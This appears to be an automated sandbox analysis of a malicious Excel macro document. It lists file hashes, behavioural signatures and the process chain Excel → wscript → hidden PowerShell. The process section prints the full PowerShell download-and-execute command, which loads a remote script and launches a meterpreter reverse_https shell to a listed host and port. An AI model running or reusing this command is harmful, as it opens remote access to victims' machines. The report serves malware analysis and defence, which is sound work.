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Analysis
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max time kernel
25s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
08/07/2024, 22:29
Behavioral task
behavioral1
Sample
e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
Resource
win10v2004-20240704-en
General
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Target
e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls
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Size
44KB
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MD5
c75e74d9a3c2057a5f53f4eed1fd7d52
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SHA1
06279205c38c809a596bc25c3ebade01a1aaf55f
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SHA256
e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111
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SHA512
a8b8ea46df6bf43bda2d23b4943b8732cc69f6404c839649570c42004a919fe668a19760bb4ea363b7e023f291a1c358f4041b0ca1c3868632444e563166382b
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SSDEEP
768:Ctvo+rzZk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJxSjWRJFlmQQc82J9acM9acyL:qZk3hbdlylKsgqopeJBWhZFGkE+cL2Nc
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2012 2356 powershell.exe 30 Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2560 2624 wscript.exe 29 -
Blocklisted process makes network request 4 IoCs
flow pid Process 3 2012 powershell.exe 4 2012 powershell.exe 5 1780 powershell.exe 6 1780 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 1780 powershell.exe 2012 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 4 raw.githubusercontent.com 5 raw.githubusercontent.com 6 raw.githubusercontent.com 2 raw.githubusercontent.com 3 raw.githubusercontent.com -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2624 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2012 powershell.exe 1780 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2012 powershell.exe Token: SeDebugPrivilege 1780 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2624 wrote to memory of 2560 2624 EXCEL.EXE 33 PID 2624 wrote to memory of 2560 2624 EXCEL.EXE 33 PID 2624 wrote to memory of 2560 2624 EXCEL.EXE 33 PID 2624 wrote to memory of 2560 2624 EXCEL.EXE 33 PID 2560 wrote to memory of 1780 2560 wscript.exe 34 PID 2560 wrote to memory of 1780 2560 wscript.exe 34 PID 2560 wrote to memory of 1780 2560 wscript.exe 34 PID 2560 wrote to memory of 1780 2560 wscript.exe 34
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\e1fd15634a2886d0ac9574f1c462c895e374a5f8b8a88321a6242abed400f111.xls1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\SysWOW64\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2560 -
C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1780
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2012
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CSCL035JXFWZ292UGY8Z.temp
Filesize7KB
MD51f7aa130aec8b55e79810d2b205b72af
SHA1222a8283498945d7dcb584be0e0f6a590d3ac08e
SHA2562e5999548795c8f9378fc6139c9977ab840842550967c871ffb7ab9d91b79dfc
SHA512253c2746cf5b9873a1c9d223a59ba7ec46b336408777397e5a66f2c3dbe4d125b92f6d654e309bbceb402cd09d22ba1291e2d23bca65d9f34a3dc6a8d49c1c2a
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Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78